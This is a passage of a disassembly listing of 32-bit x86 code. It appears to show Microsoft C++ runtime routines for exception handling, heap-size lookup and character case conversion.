		cmp	[ebx], edi
		jg	short loc_41A52A
		cmp	edi, [ebx+4]
		jg	short loc_41A52A
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_41A527


loc_41A4C3:				; CODE XREF: sub_41A3CE+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_41A4F4


loc_41A4D5:				; CODE XREF: sub_41A3CE+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_41A61D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41A503
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_41A4D5


loc_41A4F4:				; CODE XREF: sub_41A3CE+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_41A4C3
		jmp	short loc_41A527
; ---------------------------------------------------------------------------


loc_41A503:				; CODE XREF: sub_41A3CE+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41A72E
		add	esp, 2Ch


loc_41A527:				; CODE XREF: sub_41A3CE+F3j
					; sub_41A3CE+133j
		mov	edi, [ebp+var_10]


loc_41A52A:				; CODE XREF: sub_41A3CE+DEj
					; sub_41A3CE+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_41A49E
; ---------------------------------------------------------------------------


loc_41A535:				; CODE XREF: sub_41A3CE+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_41A545
		push	1
		push	esi
		call	sub_41AAA3
		pop	ecx
		pop	ecx


loc_41A545:				; CODE XREF: sub_41A3CE+56j
					; sub_41A3CE+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A54A:				; CODE XREF: sub_41A3CE+37j
					; sub_41A3CE+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_41A570
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41A575
		add	esp, 20h
		jmp	short loc_41A545
; ---------------------------------------------------------------------------


loc_41A570:				; CODE XREF: sub_41A3CE+180j
		jmp	sub_41AB7C
sub_41A3CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A575	proc near		; CODE XREF: sub_41A3CE+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	ds:dword_4694F4, 0
		push	esi
		push	edi
		jz	short loc_41A5A6
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4161A2
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41A619


loc_41A5A6:				; CODE XREF: sub_41A575+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_4162CB
		add	esp, 14h
		mov	esi, eax


loc_41A5C2:				; CODE XREF: sub_41A575+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_41A619
		cmp	edi, [esi]
		jl	short loc_41A611
		cmp	edi, [esi+4]
		jg	short loc_41A611
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_41A5EB
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_41A611


loc_41A5EB:				; CODE XREF: sub_41A575+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41A72E
		add	esp, 2Ch


loc_41A611:				; CODE XREF: sub_41A575+57j
					; sub_41A575+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_41A5C2
; ---------------------------------------------------------------------------


loc_41A619:				; CODE XREF: sub_41A575+2Fj
					; sub_41A575+53j
		pop	edi
		pop	esi
		leave
		retn
sub_41A575	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A61D	proc near		; CODE XREF: sub_41A3CE+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_41A674
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_41A674
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_41A64E
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41A670


loc_41A64E:				; CODE XREF: sub_41A61D+1Fj
		test	byte ptr [esi],	2
		jz	short loc_41A658
		test	byte ptr [edi],	8
		jz	short loc_41A670


loc_41A658:				; CODE XREF: sub_41A61D+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_41A667
		test	byte ptr [edi],	1
		jz	short loc_41A670


loc_41A667:				; CODE XREF: sub_41A61D+43j
		test	al, 2
		jz	short loc_41A674
		test	byte ptr [edi],	2
		jnz	short loc_41A674


loc_41A670:				; CODE XREF: sub_41A61D+2Fj
					; sub_41A61D+39j ...
		xor	eax, eax
		jmp	short loc_41A677
; ---------------------------------------------------------------------------


loc_41A674:				; CODE XREF: sub_41A61D+Bj
					; sub_41A61D+14j ...
		push	1
		pop	eax


loc_41A677:				; CODE XREF: sub_41A61D+55j
		pop	edi
		pop	esi
		retn
sub_41A61D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A67A	proc near		; CODE XREF: sub_41A333+34p
					; sub_41A72E+42p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4217F8
		push	offset sub_41CDE8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_41A6AC:				; CODE XREF: sub_41A67A+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_41A706
		cmp	esi, 0FFFFFFFFh
		jle	short loc_41A6BB
		cmp	esi, [edi+4]
		jl	short loc_41A6C0


loc_41A6BB:				; CODE XREF: sub_41A67A+3Aj
		call	sub_41ABD2


loc_41A6C0:				; CODE XREF: sub_41A67A+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_41A6DB
		push	103h
		push	ebx
		push	eax
		call	sub_41AB30


loc_41A6DB:				; CODE XREF: sub_41A67A+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41A6FB
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_41A718
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_41A6FB:				; CODE XREF: sub_41A67A+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_41A6AC
; ---------------------------------------------------------------------------


loc_41A706:				; CODE XREF: sub_41A67A+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A67A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A718	proc near		; CODE XREF: sub_41A67A+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_41A729
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41A729:				; CODE XREF: sub_41A718+Cj
		jmp	sub_41AB7C
sub_41A718	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A72E	proc near		; CODE XREF: sub_41A3CE+151p
					; sub_41A575+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_41A750
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_41A8DF
		add	esp, 10h


loc_41A750:				; CODE XREF: sub_41A72E+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_41A75C
		push	edi
		jmp	short loc_41A75F
; ---------------------------------------------------------------------------


loc_41A75C:				; CODE XREF: sub_41A72E+29j
		push	[ebp+arg_24]


loc_41A75F:				; CODE XREF: sub_41A72E+2Cj
		call	sub_4160A4
		mov	esi, [ebp+arg_1C]
		push	dword ptr [esi]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	edi
		call	sub_41A67A
		mov	eax, [esi+4]
		push	100h
		push	[ebp+arg_20]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_0]
		call	sub_41A7A9
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_41A7A4
		push	edi
		push	eax
		call	sub_416062


loc_41A7A4:				; CODE XREF: sub_41A72E+6Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41A72E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A7A9	proc near		; CODE XREF: sub_41A72E+63p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421808
		push	offset sub_41CDE8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, ds:dword_4694EC
		mov	[ebp+var_1C], ecx
		mov	ecx, ds:dword_4694F0
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	ds:dword_4694EC, edi
		mov	ecx, [ebp+arg_8]
		mov	ds:dword_4694F0, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_416129
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_41A86F
		mov	eax, [ebp+var_2C]


loc_41A836:				; CODE XREF: sub_41A84F+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A7A9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A845	proc near		; DATA XREF: seg001:00421818o
		push	dword ptr [ebp-14h]
		call	sub_41A8B5
		pop	ecx
		retn
sub_41A845	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A84F	proc near		; DATA XREF: seg001:0042181Co
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41638A
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_41A836
sub_41A84F	endp

; ---------------------------------------------------------------------------


loc_41A867:				; DATA XREF: seg001:00421810o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_41A86F	proc near		; CODE XREF: sub_41A7A9+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	ds:dword_4694EC, eax
		mov	eax, [ebp-20h]
		mov	ds:dword_4694F0, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_41A8B4
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_41A8B4
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_41A8B4
		cmp	[ebp-24h], ebx
		jnz	short locret_41A8B4
		cmp	[ebp-2Ch], ebx
		jz	short locret_41A8B4
		call	sub_4163F2
		push	eax
		push	edi
		call	sub_41AAA3
		pop	ecx
		pop	ecx

locret_41A8B4:				; CODE XREF: sub_41A86F+1Cj
					; sub_41A86F+22j ...
		retn
sub_41A86F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A8B5	proc near		; CODE XREF: sub_41A845+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41A8DC
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41A8DC
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_41A8DC
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_41A8DC
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41A8DC:				; CODE XREF: sub_41A8B5+Cj
					; sub_41A8B5+12j ...
		xor	eax, eax
		retn
sub_41A8B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A8DF	proc near		; CODE XREF: sub_41A72E+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421820
		push	offset sub_41CDE8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_41AA88
		cmp	byte ptr [eax+8], 0
		jz	loc_41AA88
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_41AA88
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_41A97C
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_41DF46
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41AA7F
		push	1
		push	edi
		call	near ptr loc_41DF5D+5
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41AA7F
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_41A96D:				; CODE XREF: sub_41A8DF+F5j
		push	eax
		call	sub_41AB0A
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_41AA84
; ---------------------------------------------------------------------------


loc_41A97C:				; CODE XREF: sub_41A8DF+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_41A9D6
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_41DF46
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41AA7F
		push	1
		push	edi
		call	near ptr loc_41DF5D+5
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41AA7F
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_416470
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_41AA84
		mov	eax, [edi]
		test	eax, eax
		jz	loc_41AA84
		add	esi, 8
		push	esi
		jmp	short loc_41A96D
; ---------------------------------------------------------------------------


loc_41A9D6:				; CODE XREF: sub_41A8DF+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_41AA1E
		call	sub_41DF46
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41AA7F
		push	1
		push	edi
		call	near ptr loc_41DF5D+5
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41AA7F
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_41AB0A
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_416470
		add	esp, 0Ch
		jmp	short loc_41AA84
; ---------------------------------------------------------------------------


loc_41AA1E:				; CODE XREF: sub_41A8DF+103j
		call	sub_41DF46
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41AA7F
		push	1
		push	edi
		call	near ptr loc_41DF5D+5
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41AA7F
		push	dword ptr [esi+18h]
		call	sub_41DF7E
		pop	ecx
		test	eax, eax
		jz	short loc_41AA7F
		test	byte ptr [esi],	4
		jz	short loc_41AA65
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41AB0A
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41609D
		jmp	short loc_41AA84
; ---------------------------------------------------------------------------


loc_41AA65:				; CODE XREF: sub_41A8DF+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41AB0A
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_416096
		jmp	short loc_41AA84
; ---------------------------------------------------------------------------


loc_41AA7F:				; CODE XREF: sub_41A8DF+6Aj
					; sub_41A8DF+7Cj ...
		call	sub_41ABD2


loc_41AA84:				; CODE XREF: sub_41A8DF+98j
					; sub_41A8DF+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_41AA88:				; CODE XREF: sub_41A8DF+2Ej
					; sub_41A8DF+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A8DF	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41AB7C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AAA3	proc near		; CODE XREF: sub_41A3CE+170p
					; sub_41A86F+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421830
		push	offset sub_41CDE8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41AAEA
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_41AAEA
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_416096
		or	[ebp+var_4], 0FFFFFFFFh


loc_41AAEA:				; CODE XREF: sub_41AAA3+2Aj
					; sub_41AAA3+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AAA3	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41AB7C

; =============== S U B	R O U T	I N E =======================================



sub_41AB0A	proc near		; CODE XREF: sub_41A8DF+8Fp
					; sub_41A8DF+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_41AB2B
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_41AB2B:				; CODE XREF: sub_41AB0A+12j
		pop	esi
		retn
sub_41AB0A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AB30	proc near		; CODE XREF: sub_416129+40p
					; sub_41A67A+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_416415
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_41AB6F
		mov	ecx, 2


loc_41AB6F:				; CODE XREF: sub_41AB30+38j
		push	ecx
		call	sub_416415
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_41AB30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AB7C	proc near		; CODE XREF: sub_41A3CE:loc_41A570j
					; sub_41A718:loc_41A729j ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0041DF96 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421840
		push	offset sub_41CDE8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, ds:dword_4694F8
		test	eax, eax
		jz	short loc_41ABC4
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_41ABC0
; ---------------------------------------------------------------------------


loc_41ABB9:				; DATA XREF: seg001:00421850o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41ABBD:				; DATA XREF: seg001:00421854o
		mov	esp, [ebp+var_18]


loc_41ABC0:				; CODE XREF: sub_41AB7C+3Bj
		and	[ebp+var_4], 0


loc_41ABC4:				; CODE XREF: sub_41AB7C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_41ABCD:				; DATA XREF: seg001:00421848o
		jmp	loc_41DF96
sub_41AB7C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ABD2	proc near		; CODE XREF: sub_4162CB+23p
					; sub_4162CB:loc_416336p ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421858
		push	offset sub_41CDE8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, ds:off_4380B4
		test	eax, eax
		jz	short loc_41AC1A
		mov	[ebp+var_4], 1
		call	eax ; sub_41AB7C
		jmp	short loc_41AC16
; ---------------------------------------------------------------------------


loc_41AC0F:				; DATA XREF: seg001:00421868o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41AC13:				; DATA XREF: seg001:0042186Co
		mov	esp, [ebp+var_18]


loc_41AC16:				; CODE XREF: sub_41ABD2+3Bj
		and	[ebp+var_4], 0


loc_41AC1A:				; CODE XREF: sub_41ABD2+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_41AC23:				; DATA XREF: seg001:00421860o
		jmp	sub_41AB7C
sub_41ABD2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AC28	proc near		; CODE XREF: sub_4167B3+7p
					; sub_4167B3+26p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_418ADD
		test	eax, eax
		pop	ecx
		jz	short loc_41AC40
		mov	eax, [esi-4]
		pop	esi
		sub	eax, 9
		retn
; ---------------------------------------------------------------------------


loc_41AC40:				; CODE XREF: sub_41AC28+Ej
		push	esi
		push	0
		push	ds:dword_46AAE0
		call	ds:dword_421188	; RtlSizeHeap
		pop	esi
		retn
sub_41AC28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AC51	proc near		; CODE XREF: sub_416861+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_469508, 0
		push	ebx
		jnz	short loc_41AC7C
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_41AD1A
		cmp	eax, 7Ah
		jg	loc_41AD1A
		sub	eax, 20h
		jmp	loc_41AD1A
; ---------------------------------------------------------------------------


loc_41AC7C:				; CODE XREF: sub_41AC51+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_41ACAF
		cmp	ds:dword_437F5C, 1
		jle	short loc_41AC9C
		push	2
		push	ebx
		call	sub_418536
		pop	ecx
		pop	ecx
		jmp	short loc_41ACA7
; ---------------------------------------------------------------------------


loc_41AC9C:				; CODE XREF: sub_41AC51+3Dj
		mov	eax, ds:off_437D50
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_41ACA7:				; CODE XREF: sub_41AC51+49j
		test	eax, eax
		jnz	short loc_41ACAF


loc_41ACAB:				; CODE XREF: sub_41AC51+AFj
		mov	eax, ebx
		jmp	short loc_41AD1A
; ---------------------------------------------------------------------------


loc_41ACAF:				; CODE XREF: sub_41AC51+34j
					; sub_41AC51+58j
		mov	edx, ds:off_437D50
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41ACD2
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_41ACDB
; ---------------------------------------------------------------------------


loc_41ACD2:				; CODE XREF: sub_41AC51+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_41ACDB:				; CODE XREF: sub_41AC51+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	ds:dword_469508
		call	loc_41BD51
		add	esp, 20h
		test	eax, eax
		jz	short loc_41ACAB
		cmp	eax, 1
		jnz	short loc_41AD0D
		movzx	eax, [ebp+var_4]
		jmp	short loc_41AD1A
; ---------------------------------------------------------------------------


loc_41AD0D:				; CODE XREF: sub_41AC51+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41AD1A:				; CODE XREF: sub_41AC51+14j
					; sub_41AC51+1Dj ...
		pop	ebx
		leave
		retn
sub_41AC51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AD1D	proc near		; CODE XREF: sub_416A80+2Ap

var_1C4		= byte ptr -1C4h
